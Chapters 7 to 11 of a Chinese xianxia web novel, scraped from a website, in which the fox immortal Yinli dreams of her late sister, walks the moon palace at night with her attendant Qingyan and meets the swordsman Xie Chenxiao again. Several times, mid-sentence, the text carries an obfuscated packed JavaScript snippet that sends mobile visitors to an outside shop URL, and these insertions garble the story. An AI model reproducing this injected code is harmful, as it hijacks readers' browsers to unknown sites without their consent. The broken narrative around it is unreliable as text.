《沉夜梦鬼》 7. 第七章 银梨听闻对方是要商量鬼信物的事,又是从望月城来,便猜到是谁了。 银梨一下子有些心乱。 她想了想,说:“你们替我传话过去,就说让他回去,不要等我了。我还在考虑,若我有了决定,会去望月城找他。” “是。” 君竹应下,外出赴令。 留下的磬言,看上去有些疑惑。 他问:“公主,那位仙君是……?” 银梨三言两语也解释不清,便只回答:“一位故人。” 言罢,又道:“我灵力还未完全恢复,需要再休息一下。磬言,你也回去歇息吧。” 磬言没有再多问,听话答应:“是。” 银梨则转身,去了自己的住处。 银梨的住所,就在清辉殿的庭院里。 或者说,她其实已经站在卧室边上了。 她一扭身,化成狐狸,便钻了进去—— 与许多人想象得不同,如今身为月宫掌管人的银梨,她的“仙居”,竟仍然只是一棵平平无奇的大梨树。 当然,这棵梨树比寻常要大得多。 它是只在月宫生长的品种,叫作“月梨花”,特点是树干极为粗壮,四季开花,从不结果。 而这棵月梨花,在开满花云的树冠之下,树干靠近树根的位置,有一个直径约两尺宽的树洞。 银梨在周围种了些灌木高草,将树洞掩住,便算是一个隐蔽的巢穴。 以一个地位崇高的仙子来说,这样的住处未免太原始了。 其实青霜劝过她很多次,让她搬离这个洞穴,这里可是月宫,一定找得出更舒适、更适合她的宫殿。 青霜过去也睡在神女的院子里,但时过境迁,他早已自立门户,搬去了独立的仙宫。 然而银梨不肯。 以前,她住在姐姐的宫殿里,她有自己的房间,晚上甚至可以去找姐姐,跳到她床上。 姐姐去世以后,她不愿再进入那座不会再有神女归来的寝宫,这个过去只用来午睡和藏东西的巢穴,便成了离回忆最近的地方。 树洞很小,除了银梨,月宫中几乎没有别人能进来。里面也很简陋,就铺了些软草,若不是有几本银梨打发时间的杂书丢在里面,与野生动物的洞穴无异。 正如青霜所说,这不是一个适合仙力强大的仙子生活的地方,就连银梨自己都不会把重要的东西藏在这里。 但她就是无法离开这个洞。 就像只要不离开,便总有些东西没变似的。 银梨在草堆上卧下来,盘成一个环,用尾巴盖住身体,又将下巴搁在尾巴上,将蓬松的狐尾当作枕头。 谁知刚刚躺下,她便被什么东西硌了一下。 银梨一低头,才发现是那个鬼信物。 她人身都不是了,这玩意居然也没消失,莫名其妙地埋在她尾巴里。 银梨实在给气笑了,试着猛甩几下尾巴,意料之中地甩不掉。她只好把它拨到一边,将就着躺下。 尽管她在月东林的女神像下昏迷了好几日,但那仅仅是将灵力恢复到了能苏醒的最低限度而已,并不算真正的休息。 好不容易回到月宫,躯体与精神上的疲倦一同涌了上来。 银梨合上眼眸,不一会儿意识便朦胧起来。 ………… …… “… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17016362|194197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …银梨……银梨……” “银梨……” 恍惚之间,银梨听到熟悉的声音,与记忆里一般温柔动听。 她缓慢地睁开眼眸,钻出树洞,觅着声音所在的方向行去。 在迷蒙的晨雾中,有个仙气飘飘的白衣女子优雅地站着,她侧过头,脸在雾气看不清楚。 她对银梨温柔地笑了一下,便转过身,徐徐离开。 在这时,银梨其实已经意识到,这应该只是一场梦境。 类似的梦,她已经做过好多次。 但她根本控制不住自己的本能,在女子扭身的刹那,她便不由自主地追了上去! 然而银梨追不上她。 在不真实的浓雾中,那个虚幻的身影离她越来越远,背影越来越模糊,仿佛下一刻就要溶解在厚重的白雾里。 银梨跑得拼命,可她的四条腿却不听使唤,反而变得越来越重,越来越沉。 银梨预感自己是要醒了,却还不愿意放弃。 她眉头紧锁,四肢因用力不停地颤动,却还是难以活动;她张开嘴,想要大声喊姐姐,可喉咙却发不出一点声音。 这时,在半梦半醒的朦胧间,好像有谁,触上了她的脸。 冰凉的手,没有一点温度,带着夜半潮冷的湿气。 轻柔而缓慢的抚摸,从头到脚,带着一点安抚之意,像要将她每一根毛都抚顺。 一下,又一下。 起初,银梨觉得有一点像姐姐,下意识便要拿头去蹭,但她很快就发现不对—— 那似乎,是男人的手。 ——谁?! 银梨几乎是瞬间一个激灵,骤然惊醒! 8. 第八章 在醒来的刹那,那被人抚摸的怪异触感便消失了。 洞穴里静悄悄的。 洞外黢黑一片,依然是夜晚,凭银梨的直觉来说,她应该睡过去没有多久,可能只有几刻钟。 ——好怪。 银梨心中生出一种别扭来。 那触感实在太过真实,怪异感萦绕不去,难以释怀。 刚刚才从邪鬼以假乱真的梦境中清醒过来,银梨实在很难不草木皆兵。 但这里是月宫,甚至是姐姐曾经的寝宫,是姐姐仙力残存最多的地方,银梨很难想象有邪鬼能跑到这种地方来薅她的毛。 ……所以是梦…… ……还是,不是? 银梨一时判断不出是不是自己多心,只觉得脑袋胀痛了起来。 她想了想,决定出去看看,如果没有异状,那就到外头去吹吹风。 银梨钻出洞穴。 一恢复人身,她便感到夹着寒意的夜风轻轻吹在脸上。 大约丑时刚过,但未到寅时,正是夜最沉的时候。 花园里一片漆黑,偶有树影草影随风轻晃,但并没有感觉到任何鬼气。 ……或许真的是她刚从鬼阵中出来,太多疑了吧。 银梨缓慢地试着往外走了几步。 其实她刚出树洞,就意识到一个问题—— 外面太暗了。 尽管银梨实际只昏迷了几天,但在感知上,她在那个幻境里度过的时光非常长,甚至一度误认为自己是在幻境里出生的。 与幻境中拥有饱满明月的夜晚相比,靠她与青霜维持的这轮月亮过于黯淡,夜路忽然暗得让人心慌。 明明这才是她一直生活的世界,视野却变得不太习惯。 她几乎忘记了,在现在的晚上出门,就算是她,也是需要带灯的。 银梨定了定神。 狐狸本来就有一定的夜视能力,不至于完全看不见,这本就是她熟悉的地盘,走几步寻个亮处而已,不是什么难事。 就在她打算迈步的时候,倏地,一串匆忙的脚步声响起,接着,便是一片清亮的明光从身侧透了过来。 一个纤细的人影握着提杆,递上来一盏用灵光点亮的纸灯笼,灯笼中温和却洁白的仙火,不动声色地将黑暗晕开一片,让银梨的视野顿时舒服了许多。 银梨愣了下,偏过头去—— 是磬言。 在清澈的灵火中,磬言的皮肤被衬得比平常更为苍白,握着灯笼的手腕修长秀气、骨节分明。 他正用一种极温柔的眼神看着银梨,像一直在等候着这个时刻。 银梨轻微晃了下神。 在她的记忆里,磬言在跟随过她的月宫弟子中,几乎是最年轻,也最瘦小的。 他的外表乍一看甚至只有十三四岁,个子只和银梨差不多高,全然是尚在生长中的少年郎。 他五官端正,白白净净,温顺的眉眼下有一枚不细看便容易忽略的小泪痣,算是长相清秀,不丑,但也很难给人留下深刻的印象。 如此青涩,一方面是他成仙的确还没有多久,另一方面说明他入仙籍时年纪就不大,还有许多成长的空间。 与倔强好胜的君竹相比,磬言显得低眉顺目,总是在后面一点的位置,存在感不高,似乎一不小心,就会把他遗忘掉。 大抵也是因为这个原因,直到这一刻,银梨才有种第一次看清他的长相的感觉。 只听磬言问:“公主这么晚出来,是出什么事了吗?” 银梨一见有人,表情不自觉的严肃几分,好维持月宫之主的架子。 银梨问:“你怎么还在这里?” 磬言回答:“我想为公主守夜。” “……守夜?” 银梨错愕。 “所以你一直一个人留在外面?” 磬言点头。 银梨既心疼又无奈:“怎么不提前说一声?我让你回去休息的时候,你还答应了……” 磬言认真地说:“我若没有答应,公主一定会再劝我回去吧?所以,我等公主休息了,又折了回来。” 银梨哭笑不得。 她说:“可你若一声不吭,不会有人知道你默默守了一整夜。” 磬言摇摇头,看上去不甚在意这些。 “公主这回遇险,本来就是我的过错,公主还因此被放了鬼信物,我怎能再放任公主一个人独处?要是公主再出事,我便真的万死难辞其咎了!” 银梨听了,有些感动。 过往,这似乎更像君竹会做的事。不过,磬言若是这回如此,以前,是不是也有许多次也是如此,甚至其实回回如此,只是不曾被她撞见呢? 银梨道:“月宫很安全,其实不必如此。若真有鬼怪深入此处,那凭你,恐怕也拦不住了。” 磬言微微动摇。 他说:“或许吧……但我留在这里,好歹能更安心些。” 说到这里,他像是知道银梨刚刚想了什么似的,又补充了一句:“君竹师姐其实本来也想留的,我碰见她了,不过,既然我已经留在这里了,便将她劝了回去。师姐明早会来换班。” 银梨点了点头。 君竹若会折回来,银梨一点都不意外。 她问:“磬言,既然你一直守在这里,有没有发觉什么异状?” 磬言仔细回忆了一番,摇头:“没有,一切如常。” 他担心地问:“……难道公主睡觉的时候,遇到什么状况了吗?” “……不算,只是做了个有点奇怪的梦罢了。” 银梨扶额。 方才那种被触碰的感觉很古怪。 但被夜风吹了吹头,她对方才的诡异感愈发不确定起来。 银梨道:“我想在月宫里转转,你要……” “我为公主照明。” 银梨话还没有说完,磬言已经笑了,银梨几乎有一种错觉,他似乎早已读到自己的想法。 磬言问:“公主想去何处?” “……随便走走吧。” 幽夜的花园小径,磬言提着灯,与银梨并肩而行。 神女的居所太过神圣,一般人不会轻易踏足,而月宫本就清冷,到了后半夜,便更为空寂。 银梨与磬言走在小院里,两人脚步都很轻,几乎没有发出半点声音,只有灵灯的光晕在夜色中幽幽移动。 走到清辉殿前,银梨脚步停了停,静静地看了一眼,便转了个方向,往别处去了。 磬言问:“里面,不去确认吗?” 银梨回答:“不必了,外面屏障无损。清辉殿是姐姐昔日的寝宫,里面还有太阴星,若是有邪鬼能神不知鬼不觉地进去,那人间大抵也没救了,看与不看都一样。” 磬言笑了笑:“公主对月神,真是感情深厚,信任至深……令人羡慕。” 银梨只当磬言说的是羡慕她。 这不奇怪,凡间修士几乎都对姐姐心怀仰慕,很多人都羡慕她和青霜能被姐姐亲自抚育长大。她与青霜至今能受到拥戴,实则也是因为姐姐的威望。 银梨望着眼前百年未变的熟悉景色,回忆汹涌,不得不垂下眼睑。 * 千年之前,世间无序,三界浑沌,四季混乱,长夜无光,妖鬼横行,生灵涂炭。 正所谓,天地不仁,以万物为刍狗。 上古诸神虽各有神通,但凡俗之物在他们眼中与蝼蚁无异。 他们认为,凡俗自有其规则定数,纵使伤亡再多,亦不值得加以干涉,任由其弱肉强食、朝生暮死。 唯有太阴神女月婵,生来一片仁心。 她不忍见世间生灵生活在如此乱世之中,便驱动太阴星之力,催生月相,肃清天地之浊气,抑制鬼邪。 从此,一轮明月生到高空。 江海生出潮汐,暗夜亦可行路。 万物可凭明月的阴晴圆缺辨认天时,灵识渐开,有了时令节气之概念。 鬼魔之流被月光抑制,难以再肆虐,生灵便得以遵循自然之规律,精怪妖人皆可修炼成仙,也收起恶意,生出善念来。 世人为了感谢神女的善举,从此万教罢黜,独尊月神。 神女月婵,便是世间生灵,唯一的信仰。 然而,月婵本尊,其实并不在意这些浮名。 她拯救苍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17016363|194197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生以后,便同以前一般游山玩水,四处逍遥。 八百年前,她在东海之滨玩乐时,偶然捡到了两块上古神玉。 这两块玉石,一块青色,一块白色。 月婵见之喜爱,便将青玉雕作仙鹿,白玉雕作灵狐。 这两块玉在月婵身边,吸纳五百年灵气,双双仙化,有了灵智与仙躯,化作一对童男童女。 那便是青霜与银梨。 月婵惊喜至极,将他们视作家人、爱若珍宝,亲自抚养教导。 银梨和青霜将月婵唤作“姐姐”,那是因为月婵认为,他们本是创世之初就存在于世间的神石,无父无母,且生来就是神身,与同为天生神祇的月婵不应有辈分之差。 但从实际来看,月婵更像他们的母亲、师尊。 月婵生来就是成人,但银梨和青霜,由于从孩童开始化形,是有一个从幼年长大的过程的。 银梨还记得,她还是幼狐的时候,和世间所有幼崽一样顽皮,精力旺盛,而且不太懂事。 她不喜欢人身,就喜欢四条腿乱跑,甩着尾巴咬烂了月宫里的每一个桌子脚,在花园的假山下面刨了个洞,还将姐姐精心种了几十年的仙草灵花全用嘴拔了出来,啃了个稀巴烂。 姐姐居然这样都没怪她,反而捏了个诀把自己也化成狐身,陪着她漫山遍野地乱跑。 那时她们最常去的,边是月东林。 银梨还记得,她们两只狐狸一起在月东林里刨坑,姐姐一边刨还一边循循善诱地教她:“银梨,你看,拿爪子刨坑多慢啊,不如我教你个法术吧,等学会了以后一口气就能刨好几个大坑,保准惊艳所有人。” 后来又过几年,银梨识字了,性格也乖巧了一些,虽然化成人形时还不肯收耳朵和尾巴,但总算能老实坐在桌子前面读书写字了。 银梨已经知事,她便知道早些年做的事不对。 银梨自己悄悄种了些灵草,等养到发芽,便抱去给姐姐赔罪。 其实现在想来,她那时根本不懂草药,能种出来的肯定不是姐姐精心养出来的品种。 但姐姐收到却极为高兴,搓了她几把就把她搓回一团狐狸,抱到怀里揉来揉去。 姐姐开心地笑着道:“傻妹妹,那些仙草固然珍贵,但我生来没有亲人,你与青霜诞生以后,于我,便与世间之物皆不相同。 “在我心里,你们两个的开心快乐,要远重于仙草,我又怎么会因此生气呢?” ………… …… 雾月之下,银梨在神女昔日的宫宇外垂袖而立,朦胧的月光将她的身影拉出一道纤长的影子。 她并未开口说什么,可安静的侧脸,却让人觉得孤寂。 磬言立在一旁,静静注视着银梨。 他慢慢地靠近一步,用手里的灯将银梨周围照得更亮。 他问:“非得是月神不可吗?” “什么?” 银梨一时没反应过来。 磬言含着微笑,温和地道:“掌控太阴星,引领世人。神女羽化已经一百年了,这一百年里,这些事都是公主你在做的。就算没有月神,公主不是一样完成得很好吗?” 灵火轻微地摇晃着,磬言似乎比刚才离她更近,眼角那颗不太起眼的泪痣在火光中若隐若现,这让他原本略显平淡的长相,莫名多了几分迷惑人心的温柔。 银梨离神,不自觉地道:“我怎么能比得上姐姐……” 她晃了晃神。 银梨改问:“你应该是神女辞世后,才出生的吧?” 在这世上,没有经历过神女时代的人,还能不怀念月神。 磬言只是望着她笑:“公主觉得我多大呢?” 银梨端详他的样貌。 磬言跟在她身边三五年了,他现在看起来十三四岁,入了仙籍以后生长速度就会变慢,再考虑他中间可能修炼的时间…… “不超过二十五吧?只有十八.九也有可能……” 磬言听完,眼梢一弯,笑得愈发柔和。 “原来在公主眼里,我是这样的。” 他说。 “其实,我与公主差不多年纪呢。” 9. 第九章 “不可能。” 银梨想也不想,便认定他是在开玩笑。 磬言偏了偏头:“为什么不可能?” 银梨说:“看你的长相,你应该很小就开始修仙了吧?入仙籍时也相当年少。平时你都跟在君竹身边,她将你当作晚辈,你若是与我差不多大,她定然不是那个态度了。” 磬言不说对,也不说不对,只是弯起眉眼,任夜风与灵灯晕染他的笑颜。 这样的表情搞得银梨都不确定起来。 “……我猜得不对吗?” “……唔。” 磬言沉吟着。 然后,他笑了起来,回应道:“不,猜对了,公主真是明察秋毫。” 银梨瞥着磬言,总觉得他还有所保留,可又像是为了纾解她的情绪、故意逗她,说不清是哪一种。 不过,这样一通天聊下来,两人好像的确亲近了一些,不像只是规规矩矩的主仆了。 两人绕着月宫走了一圈,银梨并未发现任何鬼邪留下的痕迹。 月宫其实是仙界的一部分,与仙界一样的屏障会天然阻隔外界,还有太阴星的神力庇护,连凡人和修为低微的修士都进不来,更何况邪鬼? 即使人间沦陷,月宫也能自然地回归仙界,这是人尽皆知的道理。 “……这次大概是我多心了。” 银梨还是隐隐有些隐患未落地的不踏实感,但暂时也只能这样。 她转头道:“我们回去吧。” “好。” 磬言对银梨言听计从,完全遵从她的判断。 突然,远处“轰”的一声爆鸣,打断了两人的步调。 银梨忙向发出巨响的方向看去。 只见城西屏障数十里外,黑云翻滚,一股极不寻常的邪气与种种剑气不断交错。 她一凝神,便觉察到月宫外的嘈杂—— 似乎有数十个月宫弟子呼啸而过,正往那邪气剑气聚集的方向赶去。 这情况一看就知是出了事。 银梨当机立断:“走!我们跟去看看。” 磬言马上称是。 两人一路疾行,等赶到目的地时,外面正乱成一团。 黑色的邪气成团翻滚,如云似雾,战意极盛。 ——小邪祟。 这是一种非常弱小的邪鬼,是月神陨落后,从阴气的碎片中诞生的。 这种邪鬼没有能力用找替身之类的鬼手段,难以掩藏,肉眼可见,随便几剑就能杀掉,几乎算不上什么威胁。 但它们会像蚂蚁蝗虫那样聚成一片,甚至形成更大的个体,远远看去乌泱泱的一大片,然后四处横扫,不断追逐吞噬有生气的活物。 按照一些月宫弟子的说法,小邪祟这种东西“不恐怖”,但是“非常恶心”“会怼着脸扑”“简直是邪鬼中的蜚蠊”。 失去月神的一百年里,攻击灵地次数最多的就是这种东西。各个灵地城布下天罗地网般的阵法,起码一半是为了防它。 小邪祟没有思考能力,没有章法,漫无目的,但正因如此,一旦聚集成群,就会更加凶险。 月宫弟子需要顾惜性命,它们却不用,只会一味地进攻,是无边无际的灾厄。 而且,聚集得越多,越是凶险。 此刻,只见肉眼望不尽的小邪祟凝聚成团,数量之大,如织如云!漫天邪气犹如黑雾纠缠,密密麻麻铺了半边天空! 这个规模的小邪祟群,便是银梨看见也吓了一大跳。 守备和匆匆赶来支援的月宫弟子应对不及,一片混乱,已有吃力之势。 银梨见状,当即右手取剑,便要上前助阵—— 就在这时,只见一柄金剑笔直地从天而降,横在当空,先银梨一步挡在小邪祟与一众弟子之中,剑气顶天立地,犹如一堵高墙阻碍了所有试图入侵的邪鬼! 一个黑衣男子与剑光同时现身,悬立于空,背对众人,身形挺拔,不动如山。 “破。” 下一刻,剑光有如烈阳破隙,锐不可当,化作无数道金刃如暴雨般落下,剑雨密织如锦,那密密麻麻的邪祟军曝露金雨之下,无所遁形,皆被剑气贯穿! 万千邪鬼撞在剑气上,来不及惨叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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银梨与谢沉霄,相识于一百九十多年前,以银梨两百出头的寿数来说,着实称得上一句“故交”。 两人相识的机缘,认真说起来,与那现在被叫作“鬼林”的月东林,其实也有几分关系—— 当年,银梨七八岁,才刚学会化人形。 月宫无聊,她和青霜兄妹两个,有时会离开月宫,一起到月东林玩耍。 那天,不知怎么的,银梨本来和青霜手拉手在林中散步,可她忽然视线一晃,等回过神来,手中已经空了,而且前看后看,都找不到青霜的身影。 天马上就阴了下来,深木蓊郁,龙蟠虬结的古树在阴影中面目狰狞,偌大的林子空寂无人,连虫鸣都听不见了,道路变了轨迹,蜿蜒曲折得陌生,像一座迷宫。 银梨虽是生来神躯仙骨,但毕竟年纪尚小,从没遇到过这种事,当即就被吓哭了。 她在林中横冲直撞,哭着寻找出路。 银梨自小就在月东林中玩耍,对这片树林就像自家的后花园一样熟悉,从没迷过路。 然而那一天,任她怎么跑,周围都一直是相同的景色,好像始终在原地打转,找不到出路。 银梨就这样转了三天三夜,最后累得跑不动了,钻进一个树洞里,抱着尾巴哭。 偏在这时,她看到眼前的空气裂开一道金色的口子,一柄白剑散发着灼眼的剑光,直直劈开虚空,开出一个通道来! 尽管不知道为什么空中会忽然有一道剑划出来的裂缝,但这是银梨三天里见到的唯一一个出路,她没有别的选择,立即就从裂缝中撞了出去! 有剑,就说明有人。 银梨没有忘记姐姐说过,有些凡人分不清仙和妖,尽管银梨是没干过坏事的仙狐,但毕竟年纪还小、修为低微,为了避免麻烦,还是不要在凡人面前露出本来面目为好。 所以在跃出裂缝的瞬间,银梨尽力收起了耳朵和尾巴,让自己看起来像一个普通的人类女孩。 裂缝在半空中,银梨绕开宝剑跃出去的时候,由于太快太急,直接撞在了裂缝外的持剑人身上! 她将对方从空中撞到地上,还将对方当作了肉垫—— 谢沉霄为人沉默,少言寡语。 很多年后,两人很熟了,银梨才从他口中得知,那天的事情在谢沉霄眼中的版本—— 谢沉霄原本只是想找个清净的地方练剑,谁知练着练着,就莫名听到奇怪的呜咽声。 谢沉霄循声找去,就在林中找到一个迷途鬼阵。 ——神女月婵以太阴星之力催生月相后,天下邪祟得到遏制,世间怪事也少了很多,但魑魅魍魉作为世间之恶,不可能赶尽杀绝,尤其在月黑风高之夜,亦或人迹罕至之地,月神的力量会比寻常虚弱,时不时还是会有异常之事或者邪鬼恶妖的踪迹。 像这种迷途鬼阵,便可归于此流。 这种情况,凡间称其为鬼打墙。 其实倒未必真有一个鬼在此地设阵,这一种怪谈鬼阵大多只是太阴星之力不足导致的异常自然现象。 不过,被困在其中的人,很难自己打破循环的错觉离开。多半要有外力帮助一把,才能找到机会脱困。 听到那个呜咽声时,谢沉霄本以为是森林中的野生动物被迷途鬼阵困住了,是本着救助山猫兔子的心态,举剑破开那个鬼阵的—— 然而,他做梦也想不到,从鬼阵中撞出来的,会是一个比他小两三岁、满身仙气的女孩! 她往外一冲,就直接砸在了他头上! 那个时候,谢沉霄十岁,还只是个修炼了几年的凡人。 这一次的相遇,从此奠定了谢沉霄一生对神女的印象—— 好笨。 而且好沉。 * 此刻,谢沉霄怀中抱剑,狭长的乌眸注视着她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17016365|194197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 相较于初见之时,眼前这个人,已完全是成熟的男人了。 或许是因为在凡间当过帝王,谢沉霄的寡言会在无形中给人一种冷毅的压力,不怒自威。即使他已经刻意收敛,仍与寻常仙人不大相同。 其实他和银梨实际年龄没差几岁,甚至银梨辈分更高、当神仙的时间更长,但两个人站在一起,谢沉霄看起来要稳重得多。 谢沉霄说他简单说几句话就走,但究竟是什么话,会让他等在这里不走? 银梨有些忐忑,问:“你要说什么?” 谢沉霄是天下第一剑仙,名声太显,不亚于银梨与青霜。 他突然出现在这里,一来眼中便只有银梨一人,专找她说话。 周围的月宫弟子们没吭声,眼里却都流转着八卦的味道,个个都在悄悄偷瞧他们,没一个人离开。 谢沉霄低头,看向银梨腰间那块古玉。 谢沉霄问:“在月东林困住你的那个邪鬼,有什么特征?” “……什么?” 谢沉霄言简意赅:“告诉我那个邪鬼有什么特征,我去解决。” 银梨怔住。 银梨知道谢沉霄来找她,是为了鬼信物,但她没想到,他居然一个字都没提鬼信物或者以成婚来解除鬼信物之类的事,话题直奔邪鬼。 银梨说:“我和那个邪鬼没有清醒时的正面接触,能觉察的特征不多。” 谢沉霄道:“没关系,告诉我记得的即可。” 谢沉霄举止果决,分寸恰到好处,银梨不知不觉便顺着他的话被推着走。 银梨绞尽脑汁,将自己能回忆起来的都尽量描述给谢沉霄。 谢沉霄耐心地听着,表情一动不动。 等听完,也看不出那些信息是否对他有用。 他点了下头,道:“我知道了。” 言罢,转身离去。 11. 第十一章 从西城墙外回月宫的路上,银梨感觉有一双好奇的眸子一直盯着自己看。 银梨本来对视线没有那么敏感,但对方实在太过灼热。 她不得不回了头:“怎么了?” 磬言眼神清澈,但难掩探究之意。 他问:“公主与刚才那位谢仙君,关系很亲近吗?” 银梨微顿,回答:“……还好,算是朋友。为什么这么问?” “总觉得公主与他两个人说话的时候,周围氛围与平时不同。” “……是吗?可能是因为我们认识已经很久了。” “是这样吗?” 磬言似乎没有尽信。 他偏着头看了银梨一会儿。 忽然,磬言问道:“公主,与那位谢仙君,曾两情相悦过?” 银梨正在空着飞着,被冷不丁这么一问,差点被自己的口水呛死。 她耳朵内侧一下子红了,双耳不自觉便塌下来藏住。 银梨震惊道:“你怎么问这个?” 其实方才看到她与谢沉霄对话的月宫弟子,大抵心里都有类似的疑问。 以前银梨也不是没遇到过有人好奇,但她毕竟是月宫的主人,谢沉霄则是赫赫有名的望月城城主,大多数人碍于他们两人的名声身份,不敢问得那么直白,磬言还是头一个。 磬言却并未觉得有哪里不对。 他微笑着道:“那位仙君已经知道鬼信物的事,还特意在这个时期来找公主,很难想象他会对公主没有好感。 “望月城离这里有很长一段距离,公主才刚醒来,他当夜就派了使者来说要见过公主,并且已经等在城外,那他肯定不是昨天第一天到的。恐怕他是早在听说公主被困月东林时,便已经赶来了,只是因为某些原因没有露面。 “他没有提鬼信物需要成亲来解的事,应该是顾及公主的性格感情,不过,看得出他对这件事也不是不在意的。 “这样马上赶来,又第一时间去试着找办法去除,想来他心里是在担心,会有别人来得更早,公主一时没有更好的选择,为了解鬼信物,就与其他人成婚吧。” 银梨安静下来。 谢沉霄多半是早就来了,之所以没有立刻露面、没有一直守在神女像下等她苏醒的原因,银梨也能猜到。 她知道谢沉霄这个人,沉默,务实,从不做无用之事。 想必,他认为自己守在沉睡的人身边也帮不上什么,倒不如做点别的来帮银梨。 他是剑修,战斗才是他的天职。 既然使者传话的时候,谢沉霄是等在城西,那银梨猜他这几天应该是在加强城西城墙外的守备,所以这边遭遇小邪祟群的时候,他才会这么快就过来处理。 磬言说:“其实,公主现在需要解鬼信物,若有情投意合的合适人选,就算马上成婚还是太急,当作逼不得已时的稳妥方案,未尝不是一种选择。” 银梨听他一套一套听得好笑:“你一个小孩子家家,想得还挺多。” 银梨又摇摇头:“没有两情相悦过,没有没有,休要胡说。” 磬言笑容温柔,就像他没有别的意思,只是单纯在分析。 磬言问:“那是那位仙君一厢情愿,公主不喜欢他?” “……” 银梨不由沉默。 良久,她开了口:“也不算,我不讨厌他,可能也不是喜欢。但……” 当时她年纪太小,对喜欢与否,尚没有太清晰的念头。 其实她和谢沉霄,现在想来,不是没有过再往后发展的可能。 只是,止步于此。 银梨主动将情绪克制在了这个阶段,没有让它继续生根发芽。 * 银梨与谢沉霄的关系,要说特别,大概的确也算是很特别吧。 和每一个自幼就在山中修行、动不动就会遇到神仙机缘的少年一样,谢沉霄也有一个坎坷的身世。 他出生于人间诸国中的望月国,是这个国家的太子。 谢沉霄三岁那年,他的父亲在狩猎中被毒蛇咬伤,从此意识混沌、口齿不清,难以再主持政事。 情况危急之时,他任命自己同父同母的胞弟为摄政王,行监国之职,待他龙体康复,再归还政权。 摄政王在兄长的病榻前哭得死去活来,几度晕厥,靠旁人猛掐人中才苏醒过来,不久又会哭晕过去,一副痛不欲生、恨不得能替皇兄承受病苦之貌。 他跪在兄长身边赌咒发誓,言之凿凿地说自己当摄政王只是权宜之计、形势所迫,将来绝不会贪恋权位,等皇兄病情好转,他必定立马还政,回去当一个普普通通、随处可见、闲云野鹤的逍遥王爷。 皇帝听完十分欣慰,拍了拍他的手,愉快放心地在妃嫔怀中嗝屁了。 当然,后面的事情大家都能猜到。 传国玉玺落到了皇叔手里,那肯定是不会还的。 摄政王掌权后的头等要事,就是以太子年幼为由,阻碍太子登基。 只是前一刻还在皇兄面前信誓旦旦地说不会夺权,现在先皇尸骨未寒,摄政王若就自顾自坐上了皇位,名头实在不好听。 所以摄政王决定装模作样。 没过两年,他就宣布天师感知到神女诏令,宣称神女月婵认为太子谢沉霄天资聪颖、应有仙缘,传召他侍奉仙神,不必再为凡尘世俗所累。 然后,他便将谢沉霄送到了月东林—— 在人间,这是离月宫最近的树林。 说是最能沐浴神女的恩泽,但实则当年的月宫只是月神在凡间时游玩时生活的离宫,月婵在仙界另有仙居,而且她喜爱游山玩水,不爱在一个地方常住,玩得兴起好多年都不会回来,不过留下一片人迹罕至的空林和一个空宫罢了。 银梨和青霜倒是有可能为了给神女镇守仙宫留在这里,但他们当时化形还没有多久,修为有限,籍籍无名,比起月神的弟弟妹妹,更像是月神身边一对小小的童男童女,并没有多少凡人知晓。 摄政王将谢沉霄丢在这里,美其名曰为侍奉神女作准备,实则就是流放软禁,将他与权势隔绝。 为了明面上说得过去,摄政王还给谢沉霄请了几个徒有虚名的“仙师” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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君竹听闻之后,毫不意外,只轻轻叹了口气。 君竹是凡人修炼成仙,对人间世事的了解,倒比天上这些不谙世事的仙神要深刻。 她说:“神女赐月本是照拂世间生灵、盼凡世安宁祥和,然而凡人各有心思、欲望无穷。 “不必再忧心鬼怪邪祟后,许多人为了满足自己的更多私欲,便开始争名夺利、排除异己。 “他们中的一些人,为了权势,表面上奉神女为尊,实则只是假借神女之名,谋一己之私利。 “世人人人敬慕神女,因此在凡间,宣称自己是神女之子的君王,亦或宣称自己得到神女授命称王的谋反者都不罕见。 